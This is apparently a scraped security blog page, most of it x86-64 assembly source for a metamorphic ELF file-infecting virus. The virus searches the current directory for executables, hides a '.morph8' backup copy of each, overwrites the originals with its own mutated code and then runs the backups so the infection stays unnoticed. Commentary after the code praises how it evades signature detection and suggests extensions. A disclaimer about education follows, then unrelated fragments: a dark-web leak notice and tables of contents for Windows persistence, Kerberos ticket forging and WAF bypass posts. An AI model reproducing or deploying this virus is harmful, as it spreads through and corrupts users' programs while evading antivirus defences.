    je .skip_entry
    mov r8, rdi
    inc r8
    cmp byte [r8], '.'
    je .skip_entry

.check_file:
    push rdi

    mov rdi, r14
    call basename

    mov rsi, rax
    mov rdi, [rsp]
    call strcmp

    pop rdi
    test rax, rax
    jz .chosen_one

    push rdi
    push rsi
    push rbx

    ; Check if filename starts with .morph8
    mov rsi, hidden_prefix
    mov rbx, rdi

.see_hidden:
    mov al, [rbx]
    mov dl, [rsi]
    test dl, dl
    jz .is_hidden       ; End of prefix - it's a hidden file
    cmp al, dl
    jne .not_hidden     ; Mismatch - not hidden
    inc rbx
    inc rsi
    jmp .see_hidden

.is_hidden:
    pop rbx
    pop rsi
    pop rdi
    jmp .skip_entry

.not_hidden:
    pop rbx
    pop rsi
    pop rdi

    mov rsi, vxx_str
    call strstr
    test rax, rax
    jnz .found_vxx

    push rdi
    mov rsi, X_OK
    call sys_access
    pop rdi
    cmp rax, 0
    jne .not_exec

    push rdi
    mov rsi, W_OK
    call sys_access
    pop rdi
    cmp rax, 0
    jne .not_exec

    jmp .e_conditions

.not_exec:
    jmp .skip_entry

.e_conditions:
    sub rsp, 256
    mov r8, rsp
    push rdi

    mov rdi, r8
    mov rsi, [rsp]
    call hidden_name

    mov rax, SYS_open
    mov rdi, r8
    mov rsi, O_RDONLY
    xor rdx, rdx
    syscall

    pop rdi
    test rax, rax
    js .not_exists

    ; Hidden file exists - been here, skip it
    push rdi
    mov rdi, rax
    call sys_close
    pop rdi
    add rsp, 256
    jmp .skip_entry

.not_exists:
    add rsp, 256

    ; Check if we're trying to infect ourselves
    push rdi                ; Save current filename

    ; Get our own basename
    mov rdi, bin_name
    call basename
    mov rsi, rax

    mov rdi, [rsp]
    call strcmp

    pop rdi

    test rax, rax
    jz .skip_self_infection ; If filenames match, skip infection

    ; Check if file is a valid ELF executable before infection
    push rdi
    call is_elf
    pop rdi
    test rax, rax
    jz .skip_non_elf        ; Not a valid ELF, skip infection

    push rdi
    call implant
    pop rdi
    jmp .skip_entry

.skip_self_infection:
    ; Don't infect ourselves, just skip
    jmp .skip_entry

.skip_non_elf:
    ; Not a valid ELF executable, skip infection
    jmp .skip_entry

.chosen_one:
    push rdi
    mov rsi, rdi
    mov rdi, orig_exec_name
    call strcpy
    pop rdi
    jmp .skip_entry

.found_vxx:
    mov byte [vierge], 0

.skip_entry:
    pop rax
    add r15, rax
    jmp .list_entry

.list_done:
    mov rdi, r12
    call sys_close

.list_error:
    pop r15
    pop r14
    pop r13
    pop r12
    pop rbp
    ret

implant:                        ; infect target executable
    push r12
    push r13
    mov r12, rdi

    ; Validate input
    test r12, r12
    jz .d_skip

    push r12
    mov rdi, r12
    call strlen
    pop r12
    mov r13, rax

    ; Check filename length bounds
    cmp r13, 200
    jg .d_skip
    test r13, r13
    jz .d_skip

    ; Check if we have code to embed
    mov rax, [codelen]
    test rax, rax
    jz .d_skip
    cmp rax, 65536
    jg .d_skip

    ; 1: Create hidden backup of original file
    sub rsp, 768
    mov rdi, rsp
    add rdi, 512             ; Use third section for hidden name
    mov rsi, r12
    call hidden_name

    ; Check if hidden backup already exists
    mov rax, SYS_open
    mov rdi, rsp
    add rdi, 512             ; hidden name
    mov rsi, O_RDONLY
    xor rdx, rdx
    syscall

    test rax, rax
    js .fallback             ; File doesn't exist, create backup

    mov rdi, rax
    call sys_close
    jmp .infect_orgi         ; Proceed to reinfect with new mutations

.fallback:
    mov rdi, rsp             ; Use first section for command
    mov rsi, cp_cmd_fmt
    mov rdx, r12             ; original filename
    mov rcx, rsp
    add rcx, 512             ; hidden name
    call sprintf_two_args
    mov rdi, rsp
    call system_call

    ; Set permissions on hidden file
    mov rdi, rsp
    add rdi, 256             ; Use second section for chmod command
    mov rsi, chmod_cmd_fmt
    mov rdx, rsp
    add rdx, 512             ; hidden name
    call sprintf
    mov rdi, rsp
    add rdi, 256
    call system_call

.infect_orgi:
    add rsp, 768

    ; 2: Replace original file with viral code
    mov rdi, r12             ; original filename
    mov rsi, code
    mov rdx, [codelen]
    call write_f

.d_skip:
    pop r13
    pop r12
    ret

;; payload execution
execute:                        ; virus payload
    JUNK

    mov rdi, msg_cat
    call strlen
    mov rdx, rax

    mov rdi, 1
    mov rsi, msg_cat
    call sys_write
    JUNK
    ret

hidden_name:                    ; create .morph8
    push rsi
    push rdi
    push rbx
    push rcx

    mov rbx, rsi
    mov rcx, hidden_prefix

.check_prefix:
    mov al, [rbx]
    mov dl, [rcx]
    test dl, dl
    jz .already_one          ; it matches
    cmp al, dl
    jne .add_prefix          ; Mismatch
    inc rbx
    inc rcx
    jmp .check_prefix

.already_one:
    ; File already has .morph8 prefix, just copy it
    jmp .cp_file

.add_prefix:
    ; Add .morph8 prefix
    mov byte [rdi], '.'
    mov byte [rdi + 1], 'm'
    mov byte [rdi + 2], 'o'
    mov byte [rdi + 3], 'r'
    mov byte [rdi + 4], 'p'
    mov byte [rdi + 5], 'h'
    mov byte [rdi + 6], '8'

    add rdi, 7

.cp_file:
    mov al, [rsi]
    test al, al
    jz .done
    mov [rdi], al
    inc rsi
    inc rdi
    jmp .cp_file

.done:
    mov byte [rdi], 0

    pop rcx
    pop rbx
    pop rdi
    pop rsi
    ret

sprintf:                        ; basic string formatting
    push r9
    push r10

    mov r8, rdi                 ; dst
    mov r9, rsi                 ; string
    mov r10, rdx                ; arg

.scan_format:
    mov al, [r9]
    test al, al
    jz .done

    cmp al, '%'
    je .found_percent

    mov [r8], al
    inc r8
    inc r9
    jmp .scan_format

.found_percent:
    inc r9
    mov al, [r9]
    cmp al, 's'
    je .cp_arg
    cmp al, '%'
    je .cp_percent

    ; Unknown format, copy literally
    mov byte [r8], '%'
    inc r8
    mov [r8], al
    inc r8
    inc r9
    jmp .scan_format

.cp_percent:
    mov byte [r8], '%'
    inc r8
    inc r9
    jmp .scan_format

.cp_arg:
    push r9
    mov r9, r10
.cp_loop:
    mov al, [r9]
    test al, al
    jz .cp_done
    mov [r8], al
    inc r8
    inc r9
    jmp .cp_loop

.cp_done:
    pop r9
    inc r9
    jmp .scan_format

.done:
    mov byte [r8], 0
    pop r10
    pop r9
    ret

sprintf_two_args:               ; string with two args
    push rbp
    mov rbp, rsp
    push r10
    push r11
    push r12

    mov r8, rdi                 ; dst buffer
    mov r9, rsi                 ; string
    mov r10, rdx                ; 1 arg
    mov r11, rcx                ; 2 arg
    xor r12, r12                ; arg cnt

.cp_loop:
    mov al, [r9]
    test al, al
    je .done
    cmp al, '%'
    je .handle_format
    mov [r8], al
    inc r8
    inc r9
    jmp .cp_loop

.handle_format:
    inc r9
    mov al, [r9]
    cmp al, 's'
    je .cp_string
    cmp al, '%'
    je .cp_percent

    mov byte [r8], '%'
    inc r8
    mov [r8], al
    inc r8
    inc r9
    jmp .cp_loop

.cp_percent:
    mov byte [r8], '%'
    inc r8
    inc r9
    jmp .cp_loop

.cp_string:
    cmp r12, 0
    je .use_arg1
    mov rdx, r11                ; second arg
    jmp .do_cp
.use_arg1:
    mov rdx, r10                ; first arg
.do_cp:
    inc r12

    push r9
    push rdx
    mov r9, rdx
.str_cp:
    mov al, [r9]
    test al, al
    je .str_done
    mov [r8], al
    inc r8
    inc r9
    jmp .str_cp

.str_done:
    pop rdx
    pop r9
    inc r9
    jmp .cp_loop

.done:
    mov byte [r8], 0
    pop r12
    pop r11
    pop r10
    pop rbp
    ret

system_call:                    ; execute shell
    push r12
    mov r12, rdi

    mov rax, SYS_fork
    syscall
    test rax, rax
    jz .child_process
    js .error

    mov rdi, rax
    xor rsi, rsi
    xor rdx, rdx
    xor r10, r10
    mov rax, SYS_wait4
    syscall

    pop r12
    ret

.child_process:
    sub rsp, 32
    mov qword [rsp], sh_arg0
    mov qword [rsp+8], sh_arg1
    mov qword [rsp+16], r12
    mov qword [rsp+24], 0

    mov rax, SYS_execve
    mov rdi, shell_path
    mov rsi, rsp
    xor rdx, rdx
    syscall

    mov rax, SYS_exit
    mov rdi, 1
    syscall

.error:
    pop r12
    ret

;;  entry point
_start:
    ; anti goes here
    ;avant:
    call d_str   ; Decrypt all

    mov rax, SYS_getrandom
    mov rdi, signme
    mov rsi, 4
    xor rdx, rdx
    syscall

    mov al, [vierge_val]
    mov [vierge], al

    pop rdi
    mov rsi, rsp
    push rsi

    mov rdi, bin_name
    mov rsi, [rsp]
    call strcpy

    mov rdi, [rsp]
    call basename
    mov rdi, orig_exec_name
    mov rsi, rax
    call strcpy

    call execute

    pop rsi
    push rsi

    ; Read our own code
    mov rdi, [rsi]
    call read_code

    mov rax, [codelen]
    test rax, rax
    jz .skip_mutation

    ; Apply mutations
    call replace_junk

.skip_mutation:
    pop rsi
    push rsi
    mov rdi, current_dir
    mov rsi, [rsi]
    call list

    cmp byte [vierge], 1
    jne .exec_theone

    cmp byte [orig_exec_name], 0
    jne .orig_name_ok
    mov rdi, bin_name
    call basename
    mov rdi, orig_exec_name
    mov rsi, rax
    call strcpy

.orig_name_ok:
    ; Build hidden name for the chosen one
    sub rsp, 512
    mov rdi, rsp
    add rdi, 256
    mov rsi, orig_exec_name
    call hidden_name

    ; Create touch command
    mov rdi, rsp             ; Use first half for command
    mov rsi, touch_cmd_fmt
    mov rdx, rsp
    add rdx, 256             ; Point to hidden name
    call sprintf
    mov rdi, rsp
    call system_call

    ; Create chmod command
    mov rdi, rsp             ; Reuse first half for command
    mov rsi, touch_chmod_fmt
    mov rdx, rsp
    add rdx, 256             ; Point to hidden name
    call sprintf
    mov rdi, rsp
    call system_call
    add rsp, 512

.exec_theone:
    mov rdi, bin_name
    mov rsi, hidden_prefix
    call strstr
    test rax, rax
    jnz .killme

    ; Build hidden name and execute it
    sub rsp, 512
    mov rdi, rsp
    add rdi, 256             ; Use second half for hidden name
    mov rsi, orig_exec_name
    call hidden_name

    ; Create exec command
    mov rdi, rsp             ; Use first half for command
    mov rsi, exec_cmd_fmt
    mov rdx, rsp
    add rdx, 256             ; Point to hidden name
    call sprintf
    mov rdi, rsp
    call system_call
    add rsp, 512

.killme:
    ; Clean up any leftovers
    call zero0ut

    pop rsi
    xor rdi, rdi
    mov rax, SYS_exit
    syscall

zero0ut:
    mov rdi, code
    mov rcx, 65536
    xor al, al
    rep stosb

    mov rdi, dir_buf
    mov rcx, 4096
    xor al, al
    rep stosb

    mov rdi, temp_buf
    mov rcx, 1024
    xor al, al
    rep stosb

    ret

read_code:
    mov rsi, code
    call read_f
    test rax, rax
    js .error

    mov [codelen], rax
    ret

.error:
    mov qword [codelen], 0
    ret

extract_v:
    push r12
    push r13
    push r14

    mov rdi, bin_name
    mov rsi, code
    call read_f
    test rax, rax
    js .err_v

    cmp rax, 65536
    jle .size_ok
    mov rax, 65536

.size_ok:
    mov [codelen], rax
    jmp .ext_done

.err_v:
    mov qword [codelen], 0
    xor rax, rax

.ext_done:
    pop r14
    pop r13
    pop r12
    ret

This Is Only the Foundation

Its purpose is to demonstrate core mechanisms, not to claim coverage of a complete system. Metamorphic and polymorphic engines go far deeper than what is shown here. What we have now is a starting point — sufficient to prove the concept, but still far from full-spectrum capability.

Currently, the mutation engine only processes its own defined junk patterns. It does not touch arbitrary instruction sequences. It also only supports basic register replacement so far. Features such as instruction reordering, control-flow rewriting, and logical substitution are absent.

Mutation patterns are hard-coded. There is no adaptive behavior. Propagation logic is also kept simple.

vx-mutation-demo

Each generation becomes different at the byte level, yet does the same things. What changes is the implementation, not the behavior. This is exactly why it shatters static signatures.

As the VX repeatedly reinfects, the code drifts further from its original form. The hidden backup mechanism helps it stay low-profile. The original file continues to run normally, allowing the VX to persist quietly.

Of course, these capabilities come at a cost: CPU and memory consumption, and doubled storage usage due to backups.

— Possibilities —

If you want to push further, you will need a larger pattern library, smarter runtime self-analysis, clean syscall abstraction for cross-platform support, and deeper code analysis with control-flow and data-flow mapping.

Combine it with polymorphism: encrypted payload + deformable code structure creates a layered system. Surface randomization, internal concealment, final behavior invariant. The adversary will find almost no stable anchor points.

Metamorphic code proves that software can continuously evolve its own implementation while keeping its goals unchanged.

I recommend running the code inside a debugger rather than executing it blindly. Set breakpoints and step down into the assembly layer to inspect exactly what is being generated. This is the best way to catch subtle anomalies.

That’s all for now — see you next time.

Disclaimer:

This blog post is provided solely for educational and research purposes. All technical details and code examples are intended to help defenders understand attack techniques and improve security posture. Please do not use this information to access or interfere with systems you do not own or lack explicit permission to test. Unauthorized use may violate laws and ethical standards. The author assumes no responsibility for any misuse or damage resulting from the application of the concepts discussed.

[Confidential] U.S. Department of Defense CMMC Cybersecurity Briefing Document Leaked on the Dark Web

Excalibra — Thu, 09 Apr 2026 13:47:43 +0000

[Confidential] U.S. Department of Defense CMMC Cybersecurity Briefing Document Leaked on the Dark Web

A threat actor has claimed to be selling a U.S. Department of Defense (DoD) CMMC cybersecurity briefing document. The document focuses on the core elements of the CMMC 2.0 framework, including its implementation processes, compliance requirements, and supporting systems. It serves as a standardized cybersecurity compliance guidance document targeted at Defense Industrial Base (DIB) contractors.

This file functions both as an “implementation guide” for CMMC 2.0 and as a “compliance checklist” for contractors. By clearly defining processes, standards, and boundaries of responsibility, it helps drive the Defense Industrial Base from “passive defense” toward “proactive risk management.”

Details of the leaked content are as follows:

Partial leaked data samples

1.1. Sample data

1.2. Sample data

1.3. Sample data

1.4. Sample data

DEV Community: Excalibra

Windows Persistence Techniques

0x00 Preface and Scenario

0x01 Startup Directory

0x02 Registry Keys

0x03 Services

0x04 Scheduled Tasks

0x05 WMI

0x06 Screen Saver

0x07 Background Intelligent Transfer Service (BITS)

0x07 Print Spooler Service

0x08 Netsh

0x09 AppCertDlls

0x0A MSDTC

0x0B Conclusion

Ticket Passing Attacks

Golden Ticket

Principle

Characteristics

Detailed Procedure

1. Forging Credentials to Escalate Privileges of a Domain User

2. Forging a Golden Ticket

3. Using the Golden Ticket (Creating a Domain Admin Account from a Standard Domain Account)

Silver Ticket

Principle

Characteristics

Detailed Procedure

1. Forging Credentials to Escalate Privileges of a Domain User

2. Forging a Silver Ticket

Differences between Golden and Silver Tickets

Scope of Access

Authentication Flow

Encryption Mechanism

Common Nmap Parameters

Practical Examples

The Principle of sqlmap’s `--os-shell

Preface

Injection-Based --os-shell

Test Environment

Database‑Based --os-shell

Microsoft SQL Server

Test Environment

MySQL

Test Environment

A Comprehensive Overview of WAF Bypass Methods for File Upload Vulnerabilities

Analysis of HTTP File Upload Packets

Modifiable Elements in a File Upload Packet

How WAFs Intercept Malicious Files

Character Mutations

Quotation Mark Variations

Case Modifications

Inserting Line Break Characters

Multiple Semicolons

Multiple Equals Signs

Altering the Content-Disposition Value

Malformed Boundary Headers

Sequence Reversal

Swapping the Order of name and filename

Swapping the Order of Content-Disposition and Content-Type

Swapping the Order of Different Boundary Contents

Data Repetition

Repetition of Boundary Content

Repetition of filename

Data Overflow

Inserting Junk Data Between name and filename

Inserting Junk Data into the Boundary String

Inserting Junk Data at the End of the Boundary

Inserting Junk Data Between multipart/form-data and boundary

Data Truncation

Carriage Return and Line Feed Truncation

Semicolon Truncation

Quotation Mark Truncation

Null Byte Truncation

Practical Demonstration – Bypassing Safedog File Upload Protection

Practical Case 1 – Writing a Fuzzing Script to Exploit Data Overflow

Practical Case 2 – Bypassing Using Null Byte Truncation

Different ways to get a shell using PHP file inclusion vulnerabilities

Related Functions

Scenario

Classification

Injection-Based `--os-shell`

Database‑Based `--os-shell`

Note: Bypassing `file_get_contents()` with `php://input`

Solution: Null Byte Truncation (`%00`)